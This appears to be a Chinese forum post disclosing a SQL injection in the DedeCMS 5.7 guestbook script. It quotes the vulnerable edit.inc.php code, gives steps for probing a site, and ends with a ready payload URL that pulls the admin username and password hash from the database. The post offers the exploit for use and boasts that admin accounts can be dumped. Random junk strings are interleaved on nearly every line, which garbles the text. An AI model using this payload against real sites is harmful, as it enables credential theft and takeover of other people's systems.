影响版本为5.7
+ F* V; k) m" K* L! v3 ]/ W: n; @$ d$ M3 g. j( g
漏洞文件edit.inc.php具体代码:' B. G4 b0 c% d1 _, J
h0 Z, @1 ^4 `5 C+ ]< ?php
- `$ ]: }& J6 }" ~3 @3 J0 V+ j8 I8 O" B+ l! Z P
if(!defined('DEDEINC')) exit('Request Error!');
# U- e. P2 @6 A+ H+ g
1 D: o# M/ d7 S. J8 V- Q3 N% Z9 H ! m3 i) Z1 T2 I
% G1 m; M4 h3 D, h# w0 M0 v6 G
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
9 \/ O4 ?% |! I. H) \& S" ~6 g- D
else $GUEST_BOOK_POS = "guestbook.php";
1 S- o8 l8 \) d. \) H7 @2 k1 k x& P, }( m" r
. m% e) z6 c5 Q$ t4 S
5 i6 D# a* G2 B+ ~$id = intval($id);
$ ~, q' }1 B0 D: s8 O1 h W n7 i
if(empty($job)) $job='view'; V; d# p* J: ? }8 p. d7 h
& p _: G: Q( U9 O1 S1 l1 q) m
# ^- F( \) e4 c! k1 G2 J0 d/ _0 B* ? d0 @: Z/ _; n3 N! `
if($job=='del' && $g_isadmin) - @2 I9 V. c; l( b
/ ~' i9 R2 Z7 @8 o{ : Q2 A% y$ F1 Q% p: m2 ^+ y
* k! C$ s3 m* B( Z7 u$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 2 `5 ]/ E! @4 S# o3 ]
" p6 y; h4 _1 j& F! g
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
$ @: v4 {9 h+ ]- ?$ D& `
/ A; l; D/ f* [* m: l" Eexit(); 1 C8 j8 ?- ]! n2 X$ z! j
% x& A& E1 E% q- l- H- q} 6 L/ i( v' [; M9 `, ^
8 j! G% I) Z3 j/ F; S) Oelse if($job=='check' && $g_isadmin)
X) h: A" Z5 g
- O4 B0 S" c+ \' P$ ?6 v$ |$ {{
) C p* W$ y) a3 a) C: a$ `, v A- t: k" U$ l1 @. C$ ?
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); - L- }5 g% V( @1 w) V
& J& I! q& t J& GShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
3 Q3 t3 G$ q0 ~0 ^) q1 C/ h0 [- f; P! Y+ K% J: x) b3 ^! n; M1 `( u
exit(); ( g' G1 g l6 v- U4 Q) k
9 s/ |( i5 h& ?% |
} ; v5 E8 k6 z. R
* g8 ^% s$ F5 f( ]8 t6 o
else if($job=='editok')
& P. ~! p3 ?: G2 S' s9 Y6 e9 l( I7 X* V2 U1 Z
{
, m; Y# V9 K- o$ \6 y, c" N8 U8 l ?
$remsg = trim($remsg); . F! Y5 e% _3 w+ M4 P
9 T& v$ i. ~: e/ l7 R0 g
if($remsg!='') $ ^) A7 j& Q5 i" u' J- j
2 M9 h0 ^% W! j- c" |{
, \& m/ }' F# q
5 G: s; C/ y, H//管理员回复不过滤HTML By:Errorera blog:errs.cc " ^" i& c" p/ d }8 G
/ y" Y! Q8 b8 F
if($g_isadmin) 6 L9 V* w W- p
& O; }) b9 w9 ~& a6 R{ & N& x9 N+ R) g, Y3 s
N, b2 {2 _4 Q& Q
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
# l) V. ], Y% Q
2 H, ` Q- ]5 }7 L( B. F7 g5 s& A//$remsg <br /><font color=red>管理员回复:</font> } # M, w1 B3 x% S; @ r! N# o/ \
' g, @. i C" b2 a( f/ p
else
- H5 a4 ]( Z7 ~1 @* c% B
& E' ^8 u5 B/ D k1 D0 ~{
* G' \2 k. ?: @: v1 \& a$ K( S. q, m' `- K
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
9 q! J i- h; f% }. {1 d+ o, @$ T0 p- h% K8 l; b4 F7 U
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; , x. X: F8 f4 a6 E3 R1 M
3 [) u& ^" j6 q# H1 Q
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
T8 o) e; U; d4 s& T9 c& H
0 z' u! w: p7 ]1 @9 T$msg = $oldmsg.$remsg; ) E% f: U2 y4 @0 n! g6 w; s
5 P7 I2 n2 E" Y' G7 p' F( k
} 5 T7 j- [: u2 s _0 D* B$ P
- H; l5 R6 d4 B: c: `3 T+ \5 y0 D
}
6 j2 y G& E* c0 R: Q7 ?$ d5 f6 Q* p9 [9 t8 u6 q
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc $ Y4 }3 B( ]! u3 V, s1 G
- M( y3 G; p' L, Y$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
& r: q5 `4 U) S! j; c. k9 F7 n. G! F/ t
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
8 D2 }0 j( R( l2 `5 t) @, v; b6 E, {9 t6 s4 o
exit();
4 r2 ]( ^+ s+ Z# m5 t) {
) y5 }8 L; E2 C& z( t7 G1 y} , S" h& \/ z" t) `$ I
0 v( l. E; m7 o//home:www.errs.cc , h0 S; l9 W; G# ^
* i* K5 ^" H$ Q% X/ I3 w
if($g_isadmin)
1 F: M8 ~* H: U4 x! v, t# Z- q$ O) `% d: l" @$ K' H
{
0 n2 [: u5 [6 L1 Q" T3 l! U0 l |+ w0 V9 @2 P( w/ E, {
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); & O" K. D. q! P+ U# X0 l# ]) ^- f" J
" M# ]3 I: S& U# v( Crequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
* I5 T9 h$ T7 B( Y3 s+ @+ S: i
' H5 x7 j( j* _, r/ G}
% ~+ L: m4 z' A5 c& v. S0 C! l0 Z4 N
else " C! x: C; O( L9 v1 F+ q4 b
8 u G' W3 X& D, W5 n( N{
* m9 j3 H* u4 k' m6 g" a- `8 a8 s8 d& R$ \% M% M
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); % K* t, C+ J$ c4 A( S+ F
- a. h g: g2 t$ U$ O
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
) j9 O9 y4 [# }# k' v$ h9 o
5 E4 Y6 F5 l0 y4 f5 `5 T' h1 X} 漏洞成功需要条件:
/ i% b& {7 ~1 y+ V1. php magic_quotes_gpc=off
9 Q, _8 d* u' K2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。 o7 P% {! U5 b+ I' o! y" `
6 r- g |/ R" V' v5 N/ X怎么判断是否存在漏洞:
' r5 ?- _( F, ]. b先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
4 p" K0 d2 o+ A# F$ f然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 D; Z6 C4 g# m2 r' ~访问:
% _1 r8 Z3 F9 k' [6 y8 o& w# ?3 w* X: f i
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, W2 d0 h* O; s- ?! E1 u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
) x# E% x- L0 {" {2 Z9 U I8 W9 V, w8 b. P$ G- k% v
( q- u* x6 Z" G5 M/ C" j
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
- p; x$ U6 l4 S如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
9 G7 c, ?+ I) R; A X! i那么再次访问
6 [. e$ [' J. A0 w* k4 F f6 j* G: W6 Z
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 C2 {% F0 l6 L) w- V" u" k$ e1 f# y; [ K' Q, \
大概利用就是这样,大家有兴趣的多研究下!!, T8 K1 |" c6 @2 E( P3 {
y+ x$ k% v5 j. h3 h3 B( q
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
0 i9 o8 `: a m" h. [ e* \% b3 P
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |